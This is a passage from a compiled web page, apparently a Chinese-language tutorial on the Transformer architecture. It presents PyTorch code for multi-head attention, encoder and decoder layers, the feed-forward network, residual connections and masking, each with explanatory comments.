\u5373\u4e3a\u8be5\u5c42\u6700\u540e\u8f93\u51fa\u7ed3\u679c\u7684\u7ef4\u5ea6\uff0c\u7531\u4e8e\u6700\u540e\u8f93\u51fa\u7ed3\u679c\u662f n \u4e2a\u5934\u7684\u8f93\u51fa\u7ed3\u679c\u62fc\u63a5\u8d77\u6765\u7684\uff0c\u56e0\u6b64\u8be5\u7ef4\u5ea6\u5e94\u5f53\u80fd\u591f\u6574\u9664\u5934\u6570\n # \u65ad\u8a00\uff0c\u63a7\u5236h\u603b\u662f\u6574\u9664\u4e8ed_model\uff0c\u5982\u679c\u8f93\u5165\u53c2\u6570\u4e0d\u6ee1\u8db3\u5c06\u62a5\u9519\n # \u8fd9\u91cc\u5047\u8bbe d_v = d_k\uff0c\u5176\u5b9e\u662f\u4e3a\u4e86\u65b9\u4fbf\u6700\u540e\u7ebf\u6027\u5c42\u7684\u5904\u7406\uff0c\u5982\u679c\u4e0d\u4f7f\u7528\u8fd9\u4e2a\u5047\u8bbe\uff0c\u628a\u6700\u540e\u4e00\u4e2a\u5168\u8fde\u63a5\u5c42\u62bd\u51fa\u6765\u5355\u72ec\u521d\u59cb\u5316\u5373\u53ef\n self.d_k = d_model // h\n # \u6bcf\u4e2a\u5934\u8981\u8f93\u51fa\u7684\u7ef4\u5ea6\n self.h = h\n # \u5934\u6570\n self.linears = clones(nn.Linear(d_model, d_model), 4)\n # \u6ce8\u610f\uff0c\u8fd9\u91cc\u521d\u59cb\u5316\u4e864\u4e2a\u7ebf\u6027\u5c42\uff0c\u524d\u4e09\u4e2a\u5206\u522b\u662f\u4e09\u4e2a\u53c2\u6570\u77e9\u9635\u6bcf\u4e2a\u5934\u62fc\u63a5\u8d77\u6765\u7684\u7ed3\u679c\uff0c\u6700\u540e\u4e00\u4e2a\u662f\u5168\u8fde\u63a5\u5c42\uff0c\u8fd9\u6837\u64cd\u4f5c\u7684\u524d\u63d0\u662f\u4e0a\u8ff0\u5047\u8bbe\n # \u8fd9\u91cc\u901a\u8fc7\u4e09\u4e2a\u7ec4\u5408\u77e9\u9635\u6765\u4ee3\u66ff\u4e86n\u4e2a\u53c2\u6570\u77e9\u9635\u7684\u7ec4\u5408\uff0c\u5176\u903b\u8f91\u5728\u4e8e\u77e9\u9635\u5185\u79ef\u518d\u62fc\u63a5\u5176\u5b9e\u7b49\u540c\u4e8e\u62fc\u63a5\u77e9\u9635\u518d\u5185\u79ef\uff0c\u4e0d\u7406\u89e3\u7684\u8bfb\u8005\u53ef\u4ee5\u81ea\u884c\u6a21\u62df\u4e00\u4e0b\uff0c\u6bcf\u4e00\u4e2a\u7ebf\u6027\u5c42\u5176\u5b9e\u76f8\u5f53\u4e8en\u4e2a\u53c2\u6570\u77e9\u9635\u7684\u62fc\u63a5\n self.attn = None\n self.dropout = nn.Dropout(p=dropout)\n\n def forward(self, query, key, value, mask=None):\n "Implements Figure 2"\n if mask is not None:\n # Same mask applied to all h heads.\n mask = mask.unsqueeze(1)\n # \u6279\u6b21\u5927\u5c0f\n nbatches = query.size(0)\n\n # 1) \u6bcf\u4e00\u4e2a\u8f93\u5165\u901a\u8fc7\u7ebf\u6027\u5c42\u5373\u53c2\u6570\u77e9\u9635\u5f97\u5230\u6620\u5c04\u540e\u7684\u7ed3\u679c\n # \u8fd9\u91cc\u8f93\u5165\u7ecf\u8fc7\u7ebf\u6027\u5c42\u4e4b\u540e\u7ef4\u5ea6\u4e3a nbatches*length*d_model\uff0c\u56e0\u4e3a\u8981\u8fdb\u5165\u6ce8\u610f\u529b\u8ba1\u7b97\uff0c\u9700\u8981\u628a\u4e0d\u540c\u5934\u7684\u8f93\u5165\u62c6\u5f00\uff0c\u5373\u5c06\u8f93\u51fa\u5c55\u5f00\u4e3a nbatches*length*n_head*d_k\uff0c\u7136\u540e\u5c06length\u548cn_head\u7ef4\u5ea6\u4e92\u6362\uff0c\u56e0\u4e3a\u5728\u6ce8\u610f\u529b\u8ba1\u7b97\u4e2d\u6211\u4eec\u662f\u53d6\u4e86\u540e\u4e24\u4e2a\u7ef4\u5ea6\u53c2\u4e0e\u8ba1\u7b97\n query, key, value = [\n lin(x).view(nbatches, -1, self.h, self.d_k).transpose(1, 2)\n for lin, x in zip(self.linears, (query, key, value))\n ]\n # \u4e3a\u4ec0\u4e48\u8981\u5148\u6309n_batches*-1*n_head*d_k\u5c55\u5f00\u518d\u4e92\u63621\u30012\u7ef4\u5ea6\u800c\u4e0d\u662f\u76f4\u63a5\u6309\u6ce8\u610f\u529b\u8f93\u5165\u5c55\u5f00\uff0c\u662f\u56e0\u4e3aview\u7684\u5c55\u5f00\u65b9\u5f0f\u662f\u76f4\u63a5\u628a\u8f93\u5165\u5168\u90e8\u6392\u5f00\uff0c\u7136\u540e\u6309\u8981\u6c42\u6784\u9020\uff0c\u53ef\u4ee5\u53d1\u73b0\u53ea\u6709\u4e0a\u8ff0\u64cd\u4f5c\u80fd\u591f\u5b9e\u73b0\u6211\u4eec\u5c06\u6bcf\u4e2a\u5934\u5bf9\u5e94\u90e8\u5206\u53d6\u51fa\u6765\u7684\u76ee\u6807\n\n # 2) \u8fdb\u884c\u6ce8\u610f\u529b\u8ba1\u7b97\n x, self.attn = attention(\n query, key, value, mask=mask, dropout=self.dropout\n )\n # x \u4e3a\u52a0\u6743\u6c42\u548c\u7ed3\u679c\uff0cattn\u4e3a\u8ba1\u7b97\u7684\u6ce8\u610f\u529b\u5206\u6570\n\n # 3) \u5c06\u6ce8\u610f\u529b\u8ba1\u7b97\u7ed3\u679c\u62fc\u63a5\uff0c\u7136\u540e\u901a\u8fc7\u6700\u540e\u7684\u5168\u8fde\u63a5\u5c42\n # \u6ce8\u610f\u529b\u8f93\u51fa\u7ef4\u5ea6\u4e3an_batches*n_head*length*d_k\uff0c\u6211\u4eec\u9700\u8981\u7684\u8f93\u5165\u4e3an_batches*length*d_model\uff0c\u6240\u4ee5\u76f4\u63a5\u9488\u5bf9\u4e0a\u8ff0\u8f6c\u6362\u64cd\u4f5c\u9006\u64cd\u4f5c\u5373\u53ef\n x = (\n x.transpose(1, 2)\n .contiguous()\n .view(nbatches, -1, self.h * self.d_k)\n )\n # contiguous \u51fd\u6570\u7528\u4e8e\u91cd\u65b0\u5f00\u8f9f\u4e00\u5757\u65b0\u5185\u5b58\u5b58\u50a8\uff0c\u56e0\u4e3aPytorch\u8bbe\u7f6e\u5148transpose\u518dview\u4f1a\u62a5\u9519\uff0c\u56e0\u4e3aview\u76f4\u63a5\u57fa\u4e8e\u5e95\u5c42\u5b58\u50a8\u5f97\u5230\uff0c\u7136\u800ctranspose\u5e76\u4e0d\u4f1a\u6539\u53d8\u5e95\u5c42\u5b58\u50a8\uff0c\u56e0\u6b64\u9700\u8981\u989d\u5916\u5b58\u50a8\n\n del query\n del key\n del value\n # \u6700\u540e\u7ecf\u8fc7\u5168\u8fde\u63a5\u5c42\u5373\u53ef\n return self.linears[-1](x)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u5728 Pytorch \u4e2d\uff0c\u5176\u5b9e\u63d0\u4f9b\u4e86 Multi-Head Attention \u673a\u5236\u7684 API\uff0c\u53ef\u4ee5\u901a\u8fc7\u4e0b\u5217\u4ee3\u7801\u76f4\u63a5\u6784\u9020\u5e76\u4f7f\u7528\u4e00\u4e2a\u591a\u5934\u6ce8\u610f\u529b\u5c42\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"multihead_attn = nn.MultiheadAttention(embed_dim , num_heads)\n# \u6784\u9020\u4e00\u4e2a\u591a\u5934\u6ce8\u610f\u529b\u5c42\n# embed_dim :\u8f93\u51fa\u8bcd\u5411\u91cf\u957f\u5ea6\uff1bnum_heads :\u5934\u6570\n# \u53ef\u9009\u53c2\u6570\uff1a\n# drop_out: \u5728\u91c7\u6837\u5c42\u4e2ddrop_out\u7684\u6982\u7387\uff0c\u9ed8\u8ba4\u4e3a0\uff1bbias\uff1a\u7ebf\u6027\u5c42\u662f\u5426\u8ba1\u7b97\u504f\u7f6e\n# add_bias_kv\uff1a\u662f\u5426\u5c06\u504f\u7f6e\u6dfb\u52a0\u5230 K \u548c V \u4e2d\uff1badd_zero_attn\uff1a\u662f\u5426\u4e3a K \u548c V \u518d\u6dfb\u52a0\u4e00\u4e32\u4e3a0\u7684\u5e8f\u5217\n# kdim\uff1aK \u7684\u603b\u5171feature\u6570\uff1bvdim\uff1aV \u7684\u603b\u5171feature\u6570\uff1bbatch_first\uff1a\u662f\u5426\u5c06\u8f93\u5165\u8c03\u6574\u4e3a(batch,seq,feature)\nattn_output, attn_output_weights = multihead_attn(query, key, value)\n# \u524d\u5411\u8ba1\u7b97\n# \u8f93\u51fa\uff1a\n# attn_output\uff1a\u5f62\u5982(N,L,E)\u7684\u8ba1\u7b97\u7ed3\u679c\uff0cN\u4e3a\u6279\u6b21\u5927\u5c0f\uff0cL\u4e3a\u76ee\u6807\u5e8f\u5217\u957f\u5ea6\uff0cE\u4e3aembed_dim\n# attn_output_weights\uff1a\u6ce8\u610f\u529b\u8ba1\u7b97\u5206\u6570\uff0c\u4ec5\u5f53need_weights=True\u65f6\u8fd4\u56de\n# query\u3001key\u3001value \u5206\u522b\u662f\u6ce8\u610f\u529b\u8ba1\u7b97\u7684\u4e09\u4e2a\u8f93\u5165\u77e9\u9635\n"})}),"\n",(0,s.jsx)(e.h2,{id:"encoder",children:"Encoder"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_Encoder.png",alt:"image-20230129182417098",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u5982\u56fe\u6240\u793a\uff0cEncoder \u7531 N \u4e2a\uff08\u8bba\u6587\u4e2d\u53d6 N = 6\uff09EncoderLayer \u7ec4\u6210\uff0c\u6bcf\u4e2a EncoderLayer \u53c8\u7531\u4e24\u4e2a sublayer \uff08\u5b50\u5c42\uff09\u7ec4\u6210\u3002\u5728\u4e0b\u6587\u7684\u4ee3\u7801\u4e2d\uff0c\u6bcf\u4e00\u4e2a layer \u662f\u4e00\u4e2a EncoderLayer\uff0c\u4ee3\u7801\u5728\u6700\u540e\u53c8\u989d\u5916\u52a0\u5165\u4e86\u4e00\u4e2a\u6807\u51c6\u5316\u5c42\u8fdb\u884c\u6807\u51c6\u5316\u64cd\u4f5c\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class Encoder(nn.Module):\n "Core encoder is a stack of N layers"\n # \u7f16\u7801\u5668\u5176\u5b9e\u662f\u7531N\u5c42\u81ea\u6ce8\u610f\u529b\u5c42+\u6807\u51c6\u5316\u5c42\u6784\u6210\u7684\n\n def __init__(self, layer, N):\n super(Encoder, self).__init__()\n self.layers = clones(layer, N)\n # clones \u51fd\u6570\u4e3a\u4f5c\u8005\u5b9a\u4e49\u7684\uff0c\u5b9e\u73b0\u5c06 layer \u5c42\u590d\u5236 N \u6b21\u7684\u529f\u80fd\n self.norm = LayerNorm(layer.size)\n # \u6807\u51c6\u5316\u5c42\uff0c\u53c2\u6570\u4e3a\u7279\u5f81\u6570\n\n def forward(self, x, mask):\n "Pass the input (and mask) through each layer in turn."\n for layer in self.layers:\n x = layer(x, mask)\n return self.norm(x)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200b1. \u7b2c\u4e00\u90e8\u5206\u4e3a\u4e00\u4e2a\u591a\u5934\u81ea\u6ce8\u610f\u529b\u5c42\u3002Transformer \u7684\u6700\u5927\u7279\u70b9\u5373\u662f\u629b\u5f03\u4e86\u4f20\u7edf\u7684 CNN\u3001RNN \u67b6\u6784\uff0c\u5b8c\u5168\u4f7f\u7528 attention \u673a\u5236\u642d\u5efa\u3002\u5728 EncoderLayer \u4e2d\uff0c\u4f7f\u7528\u4e86 Multi-Head self-attention\uff08\u591a\u5934\u81ea\u6ce8\u610f\u529b\uff09\u5c42\uff0c\u7f16\u7801\u8f93\u5165\u8bed\u6599\u7684\u76f8\u5173\u5173\u7cfb\u3002\u901a\u8fc7 attention \u673a\u5236\uff0c\u5b9e\u73b0\u4e86\u6a21\u578b\u7684\u5e76\u884c\u5316\u4e0e\u957f\u671f\u4f9d\u8d56\u5173\u7cfb\u7684\u62df\u5408\u3002\u5173\u4e8e Multi-Head self-attention \u5c06\u5728\u4e4b\u540e\u7684\u677f\u5757\u8be6\u8ff0\u5176\u7279\u70b9\u4e0e\u5b9e\u73b0\u3002\u5728\u901a\u8fc7\u4e00\u4e2a\u591a\u5934\u81ea\u6ce8\u610f\u529b\u5c42\u540e\uff0c\u8f93\u51fa\u7ecf\u8fc7\u6807\u51c6\u5316\u5c42\u8fdb\u5165\u4e0b\u4e00\u4e2a sublayer\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class EncoderLayer(nn.Module):\n "Encoder is made up of self-attn and feed forward (defined below)"\n\n def __init__(self, size, self_attn, feed_forward, dropout):\n super(EncoderLayer, self).__init__()\n self.self_attn = self_attn\n # \u81ea\u6ce8\u610f\u529b\u5c42\n self.feed_forward = feed_forward\n # \u524d\u9988\u795e\u7ecf\u7f51\u7edc\u5c42\n self.sublayer = clones(SublayerConnection(size, dropout), 2)\n # \u6b8b\u5dee\u8fde\u63a5\u5c42\uff0c\u5c06\u5728\u4e4b\u540e\u5b9a\u4e49\n # \u4e24\u5c42\u5206\u522b\u7528\u4e8e\u8fde\u63a5\u81ea\u6ce8\u610f\u529b\u5c42\u548c\u524d\u9988\u795e\u7ecf\u7f51\u7edc\u5c42\n self.size = size\n\n def forward(self, x, mask):\n "Follow Figure 1 (left) for connections."\n x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, mask))\n # \u4f20\u5165\u81ea\u6ce8\u610f\u529b\u5c42\u4f5c\u4e3asublayer,\u8f93\u51fa\u81ea\u6ce8\u610f\u529b\u5c42\u8ba1\u7b97\u5e76\u8fdb\u884c\u6b8b\u5dee\u8fde\u63a5\u540e\u7684\u7ed3\u679c\n return self.sublayer[1](x, self.feed_forward)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200b2. \u7b2c\u4e8c\u90e8\u5206\u4e3a\u4e00\u4e2a\u5168\u8fde\u63a5\u795e\u7ecf\u7f51\u7edc\uff0c\u8bba\u6587\u4e2d\u79f0\u4e3a\u201cposition-wise fully connected feed-forward network\u201d\uff0c\u5b9e\u9645\u662f\u4e00\u4e2a\u7ebf\u6027\u5c42+\u6fc0\u6d3b\u51fd\u6570+ dropout + \u7ebf\u6027\u5c42\u7684\u5168\u8fde\u63a5\u7f51\u7edc\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"class PositionwiseFeedForward(nn.Module):\n # \u5373\u67b6\u6784\u56fe\u4e2d\u7684FeedForward\n\n def __init__(self, d_model, d_ff, dropout=0.1):\n super(PositionwiseFeedForward, self).__init__()\n self.w_1 = nn.Linear(d_model, d_ff)\n self.w_2 = nn.Linear(d_ff, d_model)\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, x):\n return self.w_2(self.dropout(self.w_1(x).relu()))\n # \u5b9e\u5219\u662f\u4e00\u4e2a\u7ebf\u6027\u5c42+\u6fc0\u6d3b\u51fd\u6570+\u91c7\u6837+\u4e00\u4e2a\u7ebf\u6027\u5c42\n"})}),"\n",(0,s.jsx)(e.h2,{id:"decoder",children:"Decoder"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_Decoder.png",alt:"image-20230129183826948",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200bDecoder \u4e0e Encoder \u7684\u7ec4\u6210\u975e\u5e38\u7c7b\u4f3c\uff0c\u540c\u6837\u662f\u7531N\u4e2aDecoderLayer\u7ec4\u6210\uff0cDecoderLayer \u4e0e EncoderLayer \u7684\u533a\u522b\u5728\u4e8e\uff1a"}),"\n",(0,s.jsx)(e.p,{children:"\u200b1. EncoderLayer\u7531\u4e24\u4e2asublayer\u7ec4\u6210\uff0c\u5206\u522b\u662f\u4e00\u4e2a\u591a\u5934\u81ea\u6ce8\u610f\u529b\u5c42\u4e0e\u4e00\u4e2a\u5168\u8fde\u63a5\u7f51\u7edc\u5c42\u3002DecoderLayer \u5219\u5728 EncoderLayer \u7684\u4e24\u4e2a sublayer \u7684\u57fa\u7840\u4e0a\u589e\u52a0\u4e86\u4e00\u4e2a\u5e26\u63a9\u7801\u7684\u591a\u5934\u6ce8\u610f\u529b\u5c42\u3002\u5982\u56fe\uff0c\u6700\u4e0b\u65b9\u7684\u591a\u5934\u81ea\u6ce8\u610f\u529b\u5c42\u540c EncoderLayer\u7ed3\u6784\u76f8\u540c\uff0c\u4e2d\u95f4\u5219\u662f\u589e\u52a0\u7684\u4e00\u4e2a\u591a\u5934\u6ce8\u610f\u529b\u5c42\uff0c\u5c06\u4f7f\u7528 Encoder \u7684\u8f93\u51fa\u548c\u4e0b\u65b9\u591a\u5934\u81ea\u6ce8\u610f\u529b\u5c42\u7684\u8f93\u51fa\u4f5c\u4e3a\u8f93\u5165\u8fdb\u884c\u6ce8\u610f\u529b\u8ba1\u7b97\u3002\u6700\u4e0a\u65b9\u7684\u5168\u8fde\u63a5\u7f51\u7edc\u4e5f\u540c EncoderLayer \u76f8\u540c\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b2. EncoderLayer \u7684\u8f93\u5165\u4ec5\u6765\u81ea\u4e8e\u7f16\u7801\u4e4b\u540e\u7684\u8f93\u5165\u8bed\u6599\uff08\u6216\u4e0a\u4e00\u4e2a EncoderLayer \u7684\u8f93\u51fa\uff09\uff0cDecoderLayer \u7684\u8f93\u5165\u9664\u6765\u81ea\u4e8e\u7f16\u7801\u4e4b\u540e\u7684\u8f93\u51fa\u8bed\u6599\u5916\uff0c\u8fd8\u5305\u62ec Encoder \u7684\u8f93\u51fa\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200bDecoderLayer \u7684\u5b9e\u73b0\u5982\u4e0b\u4ee3\u7801\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class DecoderLayer(nn.Module):\n "Decoder is made of self-attn, src-attn, and feed forward (defined below)"\n\n def __init__(self, size, self_attn, src_attn, feed_forward, dropout):\n super(DecoderLayer, self).__init__()\n self.size = size\n self.self_attn = self_attn\n self.src_attn = src_attn\n # \u8bed\u6599\u6ce8\u610f\u529b\uff0c\u5373\u56fe\u4e2dDecoder\u7684\u7b2c\u4e8c\u4e2a\u6ce8\u610f\u529b\u7f51\u7edc\uff0c\u62df\u5408\u7f16\u7801\u5668\u8f93\u51fa\u548c\u4e0a\u4e00\u4e2a\u5b50\u5c42\u8f93\u51fa\u7684\u6ce8\u610f\u529b\n self.feed_forward = feed_forward\n self.sublayer = clones(SublayerConnection(size, dropout), 3)\n # \u56e0\u4e3a\u89e3\u7801\u5668\u6709\u4e09\u4e2a\u5b50\u5c42\uff0c\u6240\u4ee5\u9700\u8981\u4e09\u4e2a\u6b8b\u5dee\u8fde\u63a5\u5c42\n\n def forward(self, x, memory, src_mask, tgt_mask):\n "Follow Figure 1 (right) for connections."\n m = memory\n x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, tgt_mask))\n x = self.sublayer[1](x, lambda x: self.src_attn(x, m, m, src_mask))\n # \u7531\u6b64\u53ef\u89c1\u89e3\u7801\u5668\u4e2d\u4e24\u4e2a\u6ce8\u610f\u529b\u5b50\u5c42\u7684\u533a\u522b\n # \u7b2c\u4e00\u4e2a\u6ce8\u610f\u529b\u5b50\u5c42\u540c\u7f16\u7801\u5668\u4e2d\u76f8\u540c\uff0c\u662f\u81ea\u6ce8\u610f\u529b\u5c42\uff0c\u4f20\u5165\u7684\u4e09\u4e2a\u53c2\u6570\u5747\u901a\u8fc7\u8f93\u5165\u8bed\u6599x\u5f97\u5230\n # \u7b2c\u4e8c\u4e2a\u6ce8\u610f\u529b\u5b50\u5c42\u4e3a\u6ce8\u610f\u529b\u5c42\uff0c\u4f20\u5165\u7684\u4e09\u4e2a\u53c2\u6570\u5206\u522b\u7531\u8f93\u5165\u8bed\u6599x\u4e0e\u8bb0\u5fc6\uff08\u5373\u7f16\u7801\u5668\u8f93\u51fa\uff09m\u5f97\u5230\n return self.sublayer[2](x, self.feed_forward)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\t\u6ce8\u610f\u6b64\u5904\u4e3a\u4e86\u8ba1\u7b97\u8f93\u51fa\u8bed\u6599\u4e0e\u8f93\u5165\u8bed\u6599\u7684\u6ce8\u610f\u529b\uff0c\u5728\u524d\u5411\u8ba1\u7b97\u65f6\uff0c\u7b2c\u4e8c\u4e2a\u6ce8\u610f\u529b\u5b50\u5c42\u5c06\u4f20\u5165 memory\uff0c\u4e5f\u5c31\u662f Encoder \u7684\u8f93\u51fa\u3002Decoder \u7684\u6574\u4f53\u5b9e\u73b0\u540c Encoder \u7c7b\u4f3c\uff0c\u6b64\u5904\u5c31\u4e0d\u518d\u8d58\u8ff0\u3002"}),"\n",(0,s.jsx)(e.h2,{id:"\u6b8b\u5dee\u8fde\u63a5",children:"\u6b8b\u5dee\u8fde\u63a5"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4e3a\u4e86\u907f\u514d\u6a21\u578b\u9000\u5316\uff0cTransformer \u91c7\u7528\u4e86\u6b8b\u5dee\u8fde\u63a5\u7684\u601d\u60f3\u6765\u8fde\u63a5\u6bcf\u4e00\u4e2a\u5b50\u5c42\u3002\u6b8b\u5dee\u8fde\u63a5\uff0c\u5373\u4e0b\u4e00\u5c42\u7684\u8f93\u5165\u4e0d\u4ec5\u662f\u4e0a\u4e00\u5c42\u7684\u8f93\u51fa\uff0c\u8fd8\u5305\u62ec\u4e0a\u4e00\u5c42\u7684\u8f93\u5165\u3002\u6b8b\u5dee\u8fde\u63a5\u5141\u8bb8\u6700\u5e95\u5c42\u4fe1\u606f\u76f4\u63a5\u4f20\u5230\u6700\u9ad8\u5c42\uff0c\u8ba9\u9ad8\u5c42\u4e13\u6ce8\u4e8e\u6b8b\u5dee\u7684\u5b66\u4e60\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4f8b\u5982\uff0c\u5728 Encoder \u4e2d\uff0c\u5728\u7b2c\u4e00\u4e2a\u5b50\u5c42\uff0c\u8f93\u5165\u8fdb\u5165\u591a\u5934\u81ea\u6ce8\u610f\u529b\u5c42\u7684\u540c\u65f6\u4f1a\u76f4\u63a5\u4f20\u9012\u5230\u8be5\u5c42\u7684\u8f93\u51fa\uff0c\u7136\u540e\u8be5\u5c42\u7684\u8f93\u51fa\u4f1a\u4e0e\u539f\u8f93\u5165\u76f8\u52a0\uff0c\u518d\u8fdb\u884c\u6807\u51c6\u5316\u3002\u5728\u7b2c\u4e8c\u4e2a\u5b50\u5c42\u4e5f\u662f\u4e00\u6837\u3002\u5373\uff1a\n$$\n\\rm output = LayerNorm(x + Sublayer(x))\n$$\n\u200bLayerNorm \u4e3a\u8be5\u5c42\u7684\u6807\u51c6\u5316\u64cd\u4f5c\uff0cSublayer \u4e3a\u8be5\u5b50\u5c42\u7684\u64cd\u4f5c\uff08\u591a\u5934\u6ce8\u610f\u529b\u8ba1\u7b97\u6216\u5168\u8fde\u63a5\u8ba1\u7b97\uff09\u3002\u6e90\u7801\u901a\u8fc7\u6784\u9020\u4e00\u4e2a SublayerConnection \u7c7b\u6765\u5b9e\u73b0\u6b8b\u5dee\u8fde\u63a5\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class SublayerConnection(nn.Module):\n """\n A residual connection followed by a layer norm.\n Note for code simplicity the norm is first as opposed to last.\n """\n\n def __init__(self, size, dropout):\n super(SublayerConnection, self).__init__()\n self.norm = LayerNorm(size)\n self.dropout = nn.Dropout(dropout)\n # \u91c7\u6837\u5c42\n\n def forward(self, x, sublayer):\n "Apply residual connection to any sublayer with the same size."\n return x + self.dropout(sublayer(self.norm(x)))\n # \u6b8b\u5dee\u8fde\u63a5\uff0c\u5728\u8be5\u5c42\u5b9e\u73b0\u4e86norm\u548cadd\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u56de\u5230 EncoderLayer \u7684\u5b9a\u4e49\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u4f5c\u8005\u5728\u8be5\u5c42\u5b9e\u73b0\u4e86\u4e24\u4e2a SublayerConnection \u5bf9\u8c61\uff0c\u5206\u522b\u5b9e\u73b0\u81ea\u6ce8\u610f\u529b\u5c42\u5230\u5168\u8fde\u63a5\u5c42\u3001\u5168\u8fde\u63a5\u5c42\u5230\u8f93\u51fa\u7684\u6b8b\u5dee\u8fde\u63a5\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class EncoderLayer(nn.Module):\n "Encoder is made up of self-attn and feed forward (defined below)"\n\n def __init__(self, size, self_attn, feed_forward, dropout):\n super(EncoderLayer, self).__init__()\n self.self_attn = self_attn\n self.feed_forward = feed_forward\n self.sublayer = clones(SublayerConnection(size, dropout), 2)\n # \u6b8b\u5dee\u8fde\u63a5\u5c42\n # \u4e24\u5c42\u5206\u522b\u7528\u4e8e\u8fde\u63a5\u81ea\u6ce8\u610f\u529b\u5c42\u548c\u524d\u9988\u795e\u7ecf\u7f51\u7edc\u5c42\n self.size = size\n\n def forward(self, x, mask):\n "Follow Figure 1 (left) for connections."\n x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, mask))\n # \u4f20\u5165\u81ea\u6ce8\u610f\u529b\u5c42\u4f5c\u4e3asublayer,\u8f93\u51fa\u81ea\u6ce8\u610f\u529b\u5c42\u8ba1\u7b97\u5e76\u8fdb\u884c\u6b8b\u5dee\u8fde\u63a5\u540e\u7684\u7ed3\u679c\n return self.sublayer[1](x, self.feed_forward)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200bDecoderLayer \u4e2d\u4e5f\u540c\u6837\u5b9e\u73b0\u4e86\u8be5\u5bf9\u8c61\uff0c\u4e0d\u8fc7\u7531\u4e8e\u6709\u4e09\u4e2a sublayer\uff0c\u6240\u4ee5\u5b9e\u73b0\u4e86\u4e09\u4e2a SublayerConnection \u5bf9\u8c61\u3002"}),"\n",(0,s.jsx)(e.h2,{id:"mask",children:"Mask"}),"\n",(0,s.jsx)(e.p,{children:"\u200bTransformer \u662f\u4e00\u4e2a\u81ea\u56de\u5f52\u6a21\u578b\uff0c\u7c7b\u4f3c\u4e8e\u8bed\u8a00\u6a21\u578b\uff0c\u5176\u5c06\u5229\u7528\u5386\u53f2\u4fe1\u606f\u4f9d\u5e8f\u5bf9\u8f93\u51fa\u8fdb\u884c\u9884\u6d4b\u3002\u4f8b\u5982\uff0c\u5982\u679c\u8bed\u6599\u7684\u53e5\u5bf9\u4e3a\uff1a1. <BOS> \u6211\u7231\u4f60 <EOS>\uff1b2. <BOS> I like you <EOS>\u3002\u5219 Encoder \u83b7\u53d6\u7684\u8f93\u5165\u5c06\u4f1a\u662f\u53e5 1 \u6574\u4f53\uff0c\u5e76\u8f93\u51fa\u53e5 1 \u7684\u7f16\u7801\u4fe1\u606f\uff0c\u4f46 Decoder \u7684\u8f93\u5165\u5e76\u4e0d\u4e00\u5f00\u59cb\u5c31\u662f\u53e5 2 \u6574\u4f53\uff0c\u800c\u662f\u5148\u8f93\u5165\u8d77\u59cb\u7b26<BOS>\uff0cDecoder \u6839\u636e<BOS> \u4e0e Encoder \u7684\u8f93\u51fa\u9884\u6d4b I\uff0c\u518d\u8f93\u5165<BOS> I\uff0cDecoder \u6839\u636e\u8f93\u5165\u548c Encoder \u7684\u8f93\u51fa\u9884\u6d4b like\u3002\u56e0\u6b64\uff0c\u81ea\u56de\u5f52\u6a21\u578b\u9700\u8981\u5bf9\u8f93\u5165\u8fdb\u884c mask\uff08\u906e\u853d\uff09\uff0c\u4ee5\u4fdd\u8bc1\u6a21\u578b\u4e0d\u4f1a\u4f7f\u7528\u672a\u6765\u4fe1\u606f\u9884\u6d4b\u5f53\u4e0b\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["\u200b\u5173\u4e8e\u81ea\u56de\u5f52\u6a21\u578b\u4e0e\u81ea\u7f16\u7801\u6a21\u578b\u7684\u7ec6\u8282\uff0c\u611f\u5174\u8da3\u7684\u8bfb\u8005\u53ef\u4ee5\u4e0b\u6765\u67e5\u9605\u66f4\u591a\u8d44\u6599\uff0c\u5728\u6b64\u63d0\u4f9b\u90e8\u5206\u94fe\u63a5\u4f9b\u8bfb\u8005\u53c2\u8003\u3002\u535a\u5ba2\uff1a",(0,s.jsx)(e.a,{href:"https://zhuanlan.zhihu.com/p/163455527",children:"\u81ea\u56de\u5f52\u8bed\u8a00\u6a21\u578b VS 